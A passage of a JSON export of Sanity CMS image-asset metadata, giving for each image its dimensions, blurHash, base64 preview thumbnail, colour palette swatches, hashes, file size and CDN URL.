/Tn9kimt4karQZSDWJTrS4lGoQSzpcTtrEdIuLqkkg7tCjtZESnXO0u+fBe28xHu+RebrPnZVvzFQOmKkcin162bvb587yF6aX95hb2SNT2uHm3U2CmkuP1jonW8enNvDHXaThuVfMLe9SsA4oOkfk3R88bP4k3z6juP6bwvovco1TCu0zyi/+iLexBx8IJjtIniK9q9BTJwrcmn1B9ulnyu4Bj5xDCvYhBfeYYuuEYuuUnHvCvHlM1j4h1zwlax4z+uAjwdQGktY6J+qSCcLR2ecsrHxmyfrOw9o+C5WvLFS/kbOOmK0cIOc/MZR9z+D8O27MbzM0t0VsaoMLCYeIVieqVemLVwkqdXrlOtJgusNEfpt0aYfU0g7jxQ8kF3eYevIVdXFXhOTTO/R4PiXa+NUGIdXimv4M3SgzaSyh6GViygqh0QpSKNEgkmrTb3ToMza6mNwkknktUg8kN/CpTWG6T3Xxx22i6hrjRplcJs9iOs/8xCNGtFXCcg0poFgE5LqAXzbxKQ6S2uwafu5Nl6ybYq9ickVdJWOUWEwvUbpd4v7EE+RElZDqIEWVNa4lalwdtxjQTEJKTXzy5swvFLmC7J/pvrhLRDWJJytkJ1fJGc/IJGtcTzj4vVCuKquMJOsMTzWIjduE5TWCY2vCYH/c+a/uPzyVqsMlzeaWbiHrNoN6g7DopIl0UanSr5pEEjZhzabXs0CxBFl3cL2hbRJQTIJjVVFMrHKdkGIR8jrxyLSm+PMXpGN2mJLGwfkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2b3460","foreground":"#fff","population":1.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.73,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1b6d5","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e45652","foreground":"#fff","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5eae","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1350d","foreground":"#fff","population":0.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c31a5beec3495239a39b77e78493b044ff95aacc-1567x844.png","path":"images/sczeoy4w/production/c31a5beec3495239a39b77e78493b044ff95aacc-1567x844.png","sha1hash":"c31a5beec3495239a39b77e78493b044ff95aacc","size":102281,"uploadId":"Zxr2lQja8g3mK7jBXYiBwJBpH9UE8IKz","url":"https://cdn.sanity.io/images/sczeoy4w/production/c31a5beec3495239a39b77e78493b044ff95aacc-1567x844.png"} {"_createdAt":"2022-06-15T20:02:28Z","_id":"image-3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844-png","_rev":"lf1jOsEAA7PAFZMZhZokwK","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:41Z","assetId":"3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MkPiq}.TbcMe%LpJNGslt7R*?GITWBxaWq","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLklEQVQokU3M/08bdRzH8ftbNCbGX0yMiRj2gzGKMeIXzJzJZmALk+ASl6zKjNThFLpRI0oQmNMtBIzJuh4TY3SaFBljm4F2pSul7X3v9dpe7/P5XO961wJD+n4b2C/+8Mzr9dODU7RKQJSMmbxYnBekYlSUDV6QDF6SS7ysVnhZLR98SSnxukF4i/o8ZT5PLedRtB5lzJtn1Jm1KRviMlnlaiKZEeP3N2rxxAaNJzZYIplhyVSWJVM5tp7KPdoHeSaKBWapCnOSK8z9e4G5sd+Yu3qPOopi16qm6ljlG5ymW9clpWRLcglF2UBBKh6spJRRUkooKyUUJQM3sxKq9++i88c0elfOoDnxEepjn2L122Gsz/+MfnrN88rCEkdY4xphPiHMR4v6LYv68P8IrYOqleHO8jLEZ0fAHj8M9vRJWP1+BOYvfAY3z/S3NgcDSCKzjifEFzlqNyPUblJqN5HaTaB2Aw9iPjLmISU1XF/fwB8vTeKVwROY+u4DfMBP4czlKfzk7AAGjvfA+Pu9uDQx5pbWYoscZY0IZQ26D1DmA2N1ZMxFm9awRm2kZhVXlm/hUHAQA/3HcepCEL++OIx9fX34VlcXdna+Dr09PTgxGnL/+TO6D/oRxjy6D9nMadWoDTXKwCEEXFIFxyxBeu0eXP5mBAb7DsOH770BXa+9Aofa2w/q6OiA7u5uvDhy3l36dW6Rs2ktYhOb1AhFh5DWPlInJnhWGXzLAL+qAyvkQVi6BrdHj8DM0Sdg4MXH4e3nnoLnn3ka2traWu8eeQenxkJOduWXGOcW9eusoDJLV9Eu6+hVDWxYRWxUC9isqrhlyrhtirij3MHmzS/RCh3CTO9jOPfmk9j9wrP46ssv4cen+zHGX63XhdsxzhMzkySbSpZyaY0UBME3VWGrqgpbpixsm6KwU8kLDyubwq6REPcyN2RYOKu1wh2afLpdmz7RqX0eOKUuzE3q5eRf6VZx7SfO1/PHHDU7xLRcyDXEc01TDm6bUnCnIgQfVnLB3Uo2uFtOB/8trp7b024Nt9LRUfw9FPYunQonxgfCd6M/hM1U7Ks9ffULMBIn/wMMMLig5Qv9IwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#413935","foreground":"#fff","population":1.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f2805","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f65d1f","foreground":"#fff","population":5.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccc0","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6e1be","foreground":"#000","population":1.62,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c9484","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65d1f","foreground":"#fff","population":5.45,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844.png","path":"images/sczeoy4w/production/3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844.png","sha1hash":"3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02","size":543006,"uploadId":"PmlTqJe3aBSiN37dRpnAxrPtmKFOM5GW","url":"https://cdn.sanity.io/images/sczeoy4w/production/3eb1b1efb1b5f0343cbbd0a0668ed0af38005b02-1567x844.png"} {"_createdAt":"2022-06-15T20:02:34Z","_id":"image-44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844-png","_rev":"cEPH2uRN58AU2lp9QO8FWj","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:34Z","assetId":"44d544900cfe534176c5562dd451f2a86e0bd04b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVP6aL.m?HRkI:%OEziwRjxuxtRjR5j?j]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADO0lEQVQokRXDW1MaBxgA0P2PnT51+tDpJGnNi6ltTceEaCJaggYTTa1FIAKCwGoTbyiCoAKJigZQLruw7AoLe98FxJpJw/d1emYOUeOEn+hqw0VV6qsUXQ9RlTr5/xonkE3BCDYF3dMUDKekXDvqvOK8LFQchTLj5Mucw4hnnO39jFvPVVe1cn1Zo/knRDZXdiRTp/R+Iq0fHh0rH06yaub8Ui2VOZVhW0o2V5Iui1VRENti/pIWPV6/4PX6xY/vdsW2bUm8sbnFduxE04s1Vi8y74hsngoeJk+0WDyF6Q/neFGoIl3l8aohY6HI4MbmDkb2ElhheDzN5PDly1mcME9gxDqH+p0R/PfbYbyZ92PnONttF6gDgqvLK3S1IVN0HWuc0G8JGsiyAZJkwPt0BqzPp8FqfQE7O1GI7x+A3b4IE+Pj/eDj8X7z/mO4/dHU78y6sJM+NrrVSpSQ1V5AVnuKrPZQVq9BlWXUBBbURgPTsUMYGX4IQ4ODEHJ7Ib4dBp/bA9NTU+B5MQP0kh94PwkXq2tYPzs2ek0mQihqL6Bo14qqXqOqdkCTWmg0ythmaMzFD9EyOobPRkYwvbGBpWQS10kSF+12fLviQ+oogdlIGEi3C5N7m4bOFSKEqrYDmmoomqKjrqh9Q5ag3axDl2WgfHQENvM4PP31ARyTS1BLRmFnbRXehoJwGt2FWjoB0aAPrOan6Jx/ZVQziQhhyHLAkCTZkERsS0K/I7WgKzagx7NQOUmBzTwGw99/BbGZQShtvoFw0AeRv0koHuxBJRGGoP2P/sOfh3Bi9JGe2g5EiO5VNaiztKpwNBo8gz2BxRuhhrcCg2zuPb6eMqPph68xMTuIhS0X7q36MbYWwHxkHfNhEuctz3Dg3h00m37rpLZ8UaJHfZzTCpnzVun8SmULtZsWzd62KPazSLH8RZr70zbZGhu6J8U9U81MeIXfDS039kJe/mw7xGe3V7i5SRM7cPe71sykqUwl15eJf9iLb7pMzmTU8s+v6wXLp1bJ8qlZtHwRS5Zm/nB6ZvKJY/D+Xe/yX7aFrYBrjnyzMLsbdM+f7ZKvGydhayy0aDU/+mXh1e+jc3RqY+A/T1S1sW7izCsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#413c3d","foreground":"#fff","population":3.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e0515","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#413c3d","foreground":"#fff","population":3.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cb9da2","foreground":"#000","population":1.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c8c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#64748c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f63a53","foreground":"#fff","population":2.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844.png","path":"images/sczeoy4w/production/44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844.png","sha1hash":"44d544900cfe534176c5562dd451f2a86e0bd04b","size":721297,"uploadId":"GPmgNsl9ykyetCnoFDewQhzTxQ5PIwhy","url":"https://cdn.sanity.io/images/sczeoy4w/production/44d544900cfe534176c5562dd451f2a86e0bd04b-1567x844.png"} {"_createdAt":"2022-06-15T20:02:35Z","_id":"image-ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdnXV","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:41Z","assetId":"ff3b275bf4368f8067ee8a6f18d74fe384c72c1f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUQ+c]uPpJM}ivL4RkV=s.jc?aIAMxxGo}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADIElEQVQokSXMzW/bZBwAYP8d3DlwRZw57QxHpE0IaQwJoUlMHJC6LltBbFNgVSs2umYwxrqNtYkTGKVr0i4tq5NmbZyvJs2H4ziJ7cSx3/d16sTOytr8fqj08Fwfrq2RryRZf1CX9XBD6YYkWefrDZ3XO4y3qMtbzDtlj/5HmMuTHuVJ1+Sp0eOZXgnZWjbMeupDSh0fly9U7yeSoiQk03ZqJ092xT2aL1Sp0jKoSYaUMI8Sy6FUNSmrqZRKGqWqQanWo6wp0UF+gYxSE8wt/qI4Wi7MZfPlYHI7w4TELqZ2cljcl7HR7KLetdGkLlqWg1ZVxoPlFfTu3sPh7yG096po6iYaUhGpMI3uXx+gFzvnuOJsnGu2zUVZ6ViSrKGsdMadrg0mGYJFXTCtASgNFarxOGizfuh/eQEGN7+BriBAZb8CpbwI8qvIWHtxA431y44h3HrFWdRdsqhLLDLEk8SiLhLmIWEu9lQNS0IM46FHuBa4g4kbk5ifu4Xp6ApubGzglrCF+VwG9gu7WM4Kr8vZlw2OMG+JMI+cJh6Qk5AOkVIH7UoK1dAEvpy/hA/nfsDA7DQu3p/HZ2EeI5EIrvwZwdTqM8i9+Bszm7GRmNiUOMLcJcJccpoMxoz0wSYM+pYJbmkFvCcfgjrzHqxNn4UHM1fg6W/3IPj0MSzM3Ybl6xNQvPYZtL87j8pPXzv1yN0kR4mzRMmBxYiNtkXGB5YBA1MHt9eCw1oUjpc/gjeBt6B7+x3Ynv8EYotz8M9yELZ/ngXp4scwOPv++M0XZ/Bw5nP79VpgjetrapC2FGq1GtjXG+gZDTw0avhvt4JHLQHHO1OIkXfx+MnbaIbPYzn2K7ZTqziMLuKR34c4eRFxfgoxvnCAtY11bigV7tD9TNYoZ9q2UlAO9VLzqLPXHOu5Jmi7CtSCdUh8WsPoGelo63JtIP5RG+2tS5CN1nEzIsFmuAb5dQWUVAF08RE3ahbPDeXcVaeR/X7UzvmP9Zwf9IwfdPHETVSTU1AOXIH0JR8WfvRhdXUSis+vQun5t6AI10BL+1AXr4MuToGWvvAfaHDV7mhqWsAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44342b","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814e03","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f99c12","foreground":"#000","population":7.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7beb4","foreground":"#000","population":4.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c9c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#907a5f","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99c12","foreground":"#000","population":7.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844.png","path":"images/sczeoy4w/production/ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844.png","sha1hash":"ff3b275bf4368f8067ee8a6f18d74fe384c72c1f","size":277201,"uploadId":"PCXXo2hmGjoCw6VptxpKKjT8RQkXg3HS","url":"https://cdn.sanity.io/images/sczeoy4w/production/ff3b275bf4368f8067ee8a6f18d74fe384c72c1f-1567x844.png"} {"_createdAt":"2022-09-14T10:25:15Z","_id":"image-b18a2ea658f987bbb4b440fb946744183b2979cc-512x512-png","_rev":"PMq0xitQ26NszJZ6mWx78E","_type":"sanity.imageAsset","_updatedAt":"2022-09-14T10:25:15Z","assetId":"b18a2ea658f987bbb4b440fb946744183b2979cc","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFbklEQVQ4jY3UeUwTZhgG8AcUxQudVqnTqZvC0M0TBBHlEIegoHjMSWwcotOpm0MUcSBylLN10trSllpq8SqOrhw9kMNSKCBBXExAXBaHxs0sS5wTj4DYvt9CM92/vsnz5/vLl3x5H9C6IFDoWlB4GCgFYD57QAt5oLlfg8UsBwXEgvxjwUIi8E5Da0NAKzeA/La+WXYj/81jaPmWkeST4MSc4OrIdwTDwsEeArQ+ABS8bgqtWr+GVkbvoMAYPwqMGcuWbwEFbAKtjH5HMGI12PoVoKhAN1obGkZh4VoKibhFwZECCo707lTvB63aBhYQCqFQCI1GA71ej+bmZlitVjQ0NKCnp+d/kG3wB4teBvsm3/co2j+RogIfUMSqIfZZSCULD/Xr3p+Ic1cV6Dz8LVJOnABjzLnX0XEDjY2tYD6AI8sXJPcCWTgAbV6C1zErwOK85rLt86Vs66f9LHbxC/tGX/VAzIoFzCyEF4DjPh/BaDSisrLSVa/Xu1RX1+BhdxeGeceBMLC0pSD9DIDhYzxMXODaHz8n6PmuD439PK+hP3lL+3sORJc3FOXGVF2rn3G7qX5U9NpwZGdnTy4pKVlcWVnp1d7ePrq7qwn3L3wHKvV2YeWzXMg0HWjNj4culTem9kBIXN3ewNt1+8PIkMwb1BXl3L+kUdcWy2QnBYUF/nl5eXMyMzPjpFKpqrq6OqutrW3RNZNlpCMhyNWe6+dOynluZJ0ClBcLIczLmSZMT04rTDn86IdTKeycRMQuXShjCoXiVXp6+q/Hjx+X5+bmZmZkZDQWFRU9MRgMv9hstoyWJqv309SvxlKq70SH7BN39g+Aopo+nD/z/XxlEb9Ueib/uVR8hlTnlC/lCvlzgUDwOiMjYyg7O/tRfn7+g9TU1BenT59mRqNxqLml5bbNaj3W+6NmwRA/ZIpD4TNKMiy+ko51uSMJXtMl3dTYKuO9bpAd+LtcklabmZ56MTk5uUNQWPi7XFb8tKAgz37kyBEmEAjIaDQyq9U6YGtq6rx1rebog4p8b8flhSOd/+9QT3IfVE7d/VIxvfeZbJbjcbF3111xYHzivp2+CXv28vL5/BxV8VlTblb6428OHaT/QLJYLNRiuT7Qeb2u9bbVtLv75nVO1RMGsPLJ09ilSXxWNvEvpvYYZKoJFUzpviyLt3REXNxOD1HykTmaglM7+WnJtUlJic+EwtOk0+nIZDJRfW0ta26o679hs17q6upcfre3zxVUNXUe6TlK0nFe0tUpT0g7udB+kTOLiQB2MxFsV/Do9lO8uWeyU/bk5PAtIpHopVqtJq1WS7qKCofJYPijyWKRdnR0LOm90+sCMnrOJKNnFhmm9VD1tCaqnLqDKjjjmeoD/LY9asRAQtiEwZMBnKvilNlisWifRCK5oVQqB8vKyuxarbZPr9cXX6urC25tbRvf1tYKkJnrTmZPfzJ77iOT5xdk9JxNP3FdWfoiUGTUCEd86AQ66evxQBXpJhKLZ0kkkiSFQnFTo9F0a7XaQr1e72c2mdzv3evD0aRjAF2ZPoy6kZnrQbXccWTmug6fK4vYAFoT7co+Dx/1KinIbaB0nktqFt9VLBZ7yeXy/Wq1+tCVK1cWGgwGN5VKhfr6ethsNoBVTQXVccHquKCG6aCWmSDl+2AHA0ArY8GCN8IeHoNzMilKioshOXt2pFwu56hUKo5Go3ErKSmBTqdDY2Ojs3mGX+cMM3uC3uTncWDJ/qDgjWBRUbBvi0BuTj6kYpGzbWQyGUpLS1EoEAyXBcxms7M4hvMWfBsTF8T90olRwGZQUCzs4RsBxpApFkMkEkEul+P8+fO4fPmysxurqqpQUVGBmpoa/Avn6+/5LRZWRQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#564236","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c210d","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5c210d","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1d6c3","foreground":"#000","population":0.04,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c74","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#798189","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7830a","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"hand-holding-envelope.png","path":"images/sczeoy4w/production/b18a2ea658f987bbb4b440fb946744183b2979cc-512x512.png","sha1hash":"b18a2ea658f987bbb4b440fb946744183b2979cc","size":30445,"uploadId":"L6zafWdSugHJaD9TnqXGmmhpUNz19nJk","url":"https://cdn.sanity.io/images/sczeoy4w/production/b18a2ea658f987bbb4b440fb946744183b2979cc-512x512.png"} {"_createdAt":"2022-06-15T20:01:29Z","_id":"image-127d96cb0a7e785a037d4baf0b0f5a851c2241cb-752x405-png","_rev":"4pG2it9AJU1nJxbjoLEDRi","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:57:14Z","assetId":"127d96cb0a7e785a037d4baf0b0f5a851c2241cb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLGb#9M{W=?FE30g9b%1WCIq~URkkCs.fk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACkklEQVQokR3CWVMScQAA8P0OvdVDz71YzTQ2lTmNWqYiKqCSIMi1x38PFnaXa3eRYwEBORQhdCEVRSVHosMa80FnkLBemh7Kq+mzNPWbHzRJU3oXq3NzWsapISkVjqtwfOz/EUAoAaFjnOFs5O275W/NyvFhubb3srq3XNzMS4U0pCJILcNoWVZtd4wAYhgFSgwfxnAFhg+h+CACVCQFeE9mUapV4osLAbvIO2MRx1zM4g9BQzA6TpIaklQgYAjBFCgYQPB+GDyDQZ8V67VgzxFihnMlM6GKHJ6L+ZwiH8jE+XQCCYahp2ZYBcAEQWgIYoIkxylqECV6zFi3Ce0yIg8MyCMjprGzsXRwZ1WqvpIKK/HYUgLmZ5UIC/XoTQozrEaxKZIw0KSBpjQ43m9Buw227mnbE4OtS4/0Wkg64FuXg5WyJMSDowhzd8DS0WeCtDA8arGNWWEdwFAnSbvtJGd/gQMljOoIHGMo2EmrcIfJ64svSqH5kMJG37w/deP2ZOcwAqXTfszDTDvsFtbhFDkh7BHCHszLGlkHxXPRhFDMh4XorM7lneH9ZsH/cBxcu6W+fm+qU2eH9rbmfVHB6uUMLtbq5YDopoNectZjdLFmDyfOiTsbyd1qKpgMoX6/KxlD+MBjNehQInemaehzYyFfjETSAS7CM5JPiIuBpF+Ii0zYx0p8OBXY2059PSgcNnJr66m17fxWvZQt59zzcVSKQD+Olpuf8kcfcvv1TGM3vV/PfqxnG6/Tb2r/vt/NtA/yv5ryz2bp5KC4U1ta2cwvbRSy6/nUag76c1r+3S5ftcuX7dJFq3TRki9a8nlLPj+Rz5ry2Yl8+aV01S5fna5+Py5tVBfYRFQvBEY5UckIfwHPskCfDcWXxgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345a65","foreground":"#fff","population":6.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#051948","foreground":"#fff","population":4.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#345a65","foreground":"#fff","population":6.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbc6ae","foreground":"#000","population":1.73,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1d39e","foreground":"#000","population":0.94,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#678896","foreground":"#fff","population":0.53,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac744c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"127d96cb0a7e785a037d4baf0b0f5a851c2241cb-752x405.png","path":"images/sczeoy4w/production/127d96cb0a7e785a037d4baf0b0f5a851c2241cb-752x405.png","sha1hash":"127d96cb0a7e785a037d4baf0b0f5a851c2241cb","size":119509,"uploadId":"msN8UQuIOnDnvBkFBMqk8aCLyL2oZLnz","url":"https://cdn.sanity.io/images/sczeoy4w/production/127d96cb0a7e785a037d4baf0b0f5a851c2241cb-752x405.png"} {"_createdAt":"2022-06-15T20:02:13Z","_id":"image-6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEcyAN","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:07Z","assetId":"6a39496e54ea2fe7a31dedc4d63359eeece08189","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQQ]ZsyZa$ROx]KmRi%0M|xuR.n2NK%2M{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC9ElEQVQokT3MSW8bdRiA8Tly58o34AvwWThwqODGiRNIlAMCOlGLFCQq2hASypakTAIIRTRO0qZpTOV4SRvHTjyrZ/X8t5nxLN7ieV/kIvXw03N7JMMafHSl2us9zdnpaY6yoOquohneqxpmoPiDSKE8V3TD+/PocPvgWeWritnb/YNSoRBaKCHJtinLHjCe3ZS6V9Zqo9VR6412VG+0Wb15wRutDm+96PLmWZefX2jc8RinPOeWHYrqSSV5UlmJL14+Fn7AOCE5I2EaMZoanA8VyXbpQ83whKq5+IruoqZ7qBs+aoaHZj/EIEyQ8Rz7NsHjp89wR/kND/Z2Ub/SkYUCBWEY0cEwpmRfojzfpDynhGVIWFYSlsECfS0FxlLgLAHHDODJ/r+wem8Nfr57B9r//AhD9bAsBo8xDw+iNDzfk5gotpgoGBMFMpEDEzkykSHnKXI+RMESFFRgTBgSJ8R6tYW/rv6AG7c+xM6997A4+gSm5m2ceN/EI79SkRjPthjPGPt/AJwnKFiMggmMGMeYUkxIiCn1cRj20Owe4+Hfv8D+yqeoP3gfRk8/hql2Byf2cjR2H1UkzpMtwWMWsWgxKGPGIKEEEhrCkASQLoQ25IM6FN4OROYmdGobcPLX16DtfQZF+zbMzPs4szeHU696IMWUbsaE0JiEmJBBOSQ+pMSDjLiQL0ahDUXQhZHzO4z7yzBx1iDqfQ+96pdgPl+CQv1pNrd387lzYs69liKltv4wslTO+irGnoH5wMIiNHE0MHA80HAcaDjxWzi11/G6/znO7WWcmSsoLtYxeKHMC/3IB6/xqPRaS+C1bkh57+xb0Wm0gstWn1sdswhUazJQrUlwZU2DrjVb8JvW3N22Svs7q7Q3zNKuWBPzWE/Vam1sna6B17wBXv1tcE/flEZW+93UeHkzNs+XUqdzaxJcytPgUp4FHfnab8vX/rk898/k0nsug3sig1uTwWvK4Da/KJ36B6VTewfc07fQrb+Bbk36D/jQ8/DW1cunAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#463930","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#604828","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d912","foreground":"#000","population":3.61,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c29d96","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0c757","foreground":"#000","population":1.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#91824f","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7d912","foreground":"#000","population":3.61,"title":"#000"}}},"mimeType":"image/png","originalFilename":"6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844.png","path":"images/sczeoy4w/production/6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844.png","sha1hash":"6a39496e54ea2fe7a31dedc4d63359eeece08189","size":323864,"uploadId":"8ZBgsrNQUXUEDFUHOiouND0XKsxVussA","url":"https://cdn.sanity.io/images/sczeoy4w/production/6a39496e54ea2fe7a31dedc4d63359eeece08189-1567x844.png"} {"_createdAt":"2022-06-15T20:01:42Z","_id":"image-490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEb1Dd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:16:11Z","assetId":"490b09aa4a2cc832cdbdcd94b07cdf614b3d3f8d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZL}c]~CMdsktSr^t6Rja~t6?bxDRio#RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACnUlEQVQokRXLS0/TAAAA4P4IzybePJmABw4aMRgRDIivCDHRxEjINFO4yMFnwJAgCAtjIJOgGcvG3